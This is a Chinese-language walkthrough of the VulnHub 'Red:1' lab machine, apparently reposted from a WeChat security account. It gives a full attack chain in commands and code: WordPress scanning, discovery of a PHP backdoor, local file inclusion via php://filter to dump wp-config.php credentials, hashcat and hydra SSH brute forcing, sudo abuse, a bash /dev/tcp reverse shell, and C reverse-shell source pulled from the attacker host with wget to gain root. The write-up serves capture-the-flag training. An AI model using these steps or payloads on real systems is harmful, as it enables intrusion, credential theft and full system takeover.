下载地址:https://www.vulnhub.com/entry/red-1,753/选择镜像文件进行下载。下载后解压是一个ova文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
文件名:Red.ova
文件大小:1.7 GB
MD5:8C08C51DAEE2314A07033F86E97F60B1
SHA1:8DFA23F9DE63B32FE19565291BF5B50C2C148ED6
获取root用户以及其他三个用户下的txt文件。
-
john用户:note_from_red.txt
-
ippsec用户:user.txt
-
root用户:root.txt
-
oxdf用户:user.txt
确定IP地址、端口扫描、框架扫描、wpsan扫描、网站访问、添加域名解析、网络查阅、目录扫描。
使用nmap确定该靶场IP地址,地址为:192.168.241.140
nmap -sP 192.168.241.0/24
使用nmap扫描,发现其开放22和80端口,web系统框架为wordpress框架,5.8.1版本
nmap -sV -v -T4 -A192.168.241.140
可以看到是wordpress框架,5.8.1版本。
whatweb http://192.168.241.140
wpscan --url http://192.168.241.140 -e u
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.241.140 -e -u
Scan Aborted: invalid option: -u
Did you mean? ua
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.241.140 -e u
_______________________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __ ®
/ / / | ___/ ___ / __|/ _` | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.241.140/ [192.168.241.140]
[+] Started: Sat Feb 8 10:14:52 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://192.168.241.140/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.241.140/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.241.140/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.241.140/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.241.140/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=5.8.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.241.140/, Match: 'WordPress 5.8.1'
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] administrator
| Found By: Wp Json Api (Aggressive Detection)
| - http://192.168.241.140/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Feb 8 10:14:52 2025
[+] Requests Done: 21
[+] Cached Requests: 30
[+] Data Sent: 5.56 KB
[+] Data Received: 70.194 KB
[+] Memory used: 182.145 MB
[+] Elapsed time: 00:00:00
访问该网站,发现会自动跳转到redrocks.win域名下。
在hosts文件中,添加DNS解析,将192.168.241.140指向redrocks.win。
重新访问http://redrocks.win/2021/10/24/hello-world/
查看源码,发现注释中有一串英文字母。
原文如下:still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway
翻译如下:还在找吗?也许你应该向米斯勒先生寻求帮助,但这并不重要,反正你也无法用它阅读任何东西
在网络中搜集Mr.Miessler,发现github中测试字典集。
使用dirsearch进行扫描,发现
license.txt、readme.html、robots.txt、wp-login.php、wp-admin/install.php等地址可进行访问。
dirsearch -u http://192.168.241.140 -i 200
访问robots.txt文件,发现网站站点地址。
访问wp-admin站点,跳转到wp-login.php登录页面。
发现该网站是基于wordpress搭建,使用相关字典再次扫描,发现NetworkFileManagerPHP.php地址。
gobuster dir -u http://192.168.241.140 -x php,txt,jsp,asp,html -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
暴力破解、文件包含、生成密码、hydra暴力破解、远程连接。
访问NetworkFileManagerPHP.php,但是访问后发现是一片空白。
根据状态码为500猜测,该页面可能存在LFI,使用wfuzz测试一下参数,字典也用github上面提供的字典文件。
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls'
经过最终测试,发现key字段可用。
使用key字段读取passwd文件信息。
1.读取NetworkFileManagerPHP.php文件。
发现属于文件包含漏洞,使用php伪协议读取文件信息。
php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
base64解码。
对注释中的base64字段再次解码。
翻译后可知:单凭这个密码帮不了你!Hashcat表示规则就是规则。
2.读取wp-config.php文件。
php://filter/read=convert.base64-encode/resource=wp-config.php
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
base64解码,获得mysql的账密信息:john/R3v_m4lwh3r3_k1nG!!
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
尝试使用该账密进行远程连接,连接失败。
使用SSH协议尝试登录,发现登录失败。在上述的代码注释中发现hashcat,那就需要使用hashcat进行碰撞。源码中的注释使用base64加密,所以需要选择base64规则进行碰撞。
将上述密码保存到zm.txt中。
使用hashcat规则生成一个密码字典,并保存到passwds.txt文件中。
hashcat --stdout zm.txt -r /usr/share/hashcat/rules/best64.rule > passwds.txt
hydra -l john -P passwds.txtssh://192.168.241.140
得到密码为:R3v_m4lwh3r3_k1nG!!6
使用john/R3v_m4lwh3r3_k1nG!!6连接成功。
没过几分钟就断掉了,而且之前的密码已无法使用,需要重新爆破。
重新得到密码为:R3v_m4lwh3r3_k1nG!!21
sudo -l
发现/usr/bin/time只有ippsec用户,才可以执行
切换到ippsec用户。
sudo -u ippsec /usr/bin/time /bin/bash
sudo: 以超级用户或其他用户的身份执行命令。在这里,它要求你使用 ippsec 用户的权限执行后续的命令。
-u ippsec: 指定要切换到的用户,这里是 ippsec 用户。
/usr/bin/time: 在 /usr/bin/ 目录中找到 time 命令。
/bin/bash: 启动一个新的 Bash shell。
为了保持后续会话稳定,反弹shell进行连接。
bash -i >& /dev/tcp/192.168.241.138/66550>&1
nc -lvvp 6655
# 在反弹shell中执行
python3 -c 'import pty;pty.spawn("/bin/bash")' #使用python生成一个完整的shell
export TERM=xterm #这里按下Ctrl+z返回一下,设置虚拟终端类型,有什么用暂不清楚
stty raw -echo;fg #输入reset, 这里是设置当前shell透传指令到反弹shell里,Ctrl+C不会中断nc而是直接透传到新的shell里。
这样设置后就不会再次断链,因为用ippsec用户执行time命令,后续的命令执行都会在time里面执行。
因为输出后不会自动回到行首,该情况使用moba xterm软件。在终端设置中勾选‘Implicit CR in every LF’和‘Implicit LF in every CR’即可完成配置。
查找可执行文件,将文件内容更换为shell脚本,反弹shell监听即可获得root权限。
find / -group ippsec -type d 2>/dev/null | grep -v proc.
查找下ippsec账户所拥有权限的文件,发现了.git文件。
且文件中程序均有root权限可执行。
在.git文件里发现可执行程序rev并进行执行。
删除.git文件中两个文件,并更换supersecretfileuc.c文件内容为反弹shell脚本。
#include<sys/socket.h>
#include<sys/types.h>
#include<stdlib.h>
#include<unistd.h>
#include<netinet/in.h>
#include<arpa/inet.h>
int main(void){
int port = 8764;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.241.138");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
开启临时http服务,在靶机中下载该文件。
python -m http.server1234
wget http://192.168.241.138:1234/supersecretfileuc.c
在攻击机中监听8764端口。
nc -lvvp 8764
写进去之后,等待一会,rev会自动执行。
等待一会,脚本会自动执行,并成功监听到靶机。
通过执行命令,可看到,已成功获取到root权限。
root用户和三个普通用户下均有txt文件可查阅。
在root目录下,defense文件下发现后门文件。
在删掉这些文件后,就获取到所有控制权,不会再有密码随机更改,弹窗消息等信息。
该文件内容是对supersecretfileuc.c文件进行编译,执行并生成rev文件。
该文件内容随机修改用户john的密码。
为ssh连接的密码,也是因为此文件,导致登录密码会进行变换。
该文件内容表示执行这个脚本后,系统会强制终止由john这个用户运行的所有进程。
这也是在远程连接时,使用john用户登录后,会自动断开的主要原因。
因此,使用ippsec账户创建shell的时候就不会被终止。
该文件内容指的是向所有/dev/pts/*伪终端发送嘲讽信息。
消息内容翻译后如下:
免责声明
本公众号“暗魂攻防实验室”致力于分享网络安全相关知识及资讯,所有内容仅供学习和交流使用,不得用于任何非法用途。由于传播、利用本公众号“暗魂攻防实验室”所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任!!!
以下为本公众号声明内容,请知悉并遵守:
1.关于信息的准确性
本公众号所发布的信息均来源于公开渠道或作者整理,仅供参考,不保证内容的绝对准确性、完整性和时效性。使用者在依赖相关内容前,应独立核实信息的真实性和适用性。
2.法律与合规性
使用者应严格遵守国家相关法律法规,确保所有操作仅用于合法用途。本公众号明确禁止任何利用内容进行非法活动的行为,由此产生的后果由使用者自行承担,本公众号及作者不承担任何责任。
3.版权声明
本公众号部分内容如引用了他人作品或资源,均已标注来源或作者。如有侵权,请及时联系我们,我们将在核实后立即删除并致以歉意。
4.合法用途限制
本公众号内容仅供参考,任何利用本公众号内容从事违法行为的后果均由使用者自行承担,本公众号及作者对此不承担任何责任。
5.风险告知
因使用或传播本公众号内容导致的直接或间接后果(如系统损坏、数据丢失、法律责任等),均由使用者自行承担。本公众号及作者对此不承担任何责任。
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Red:1靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论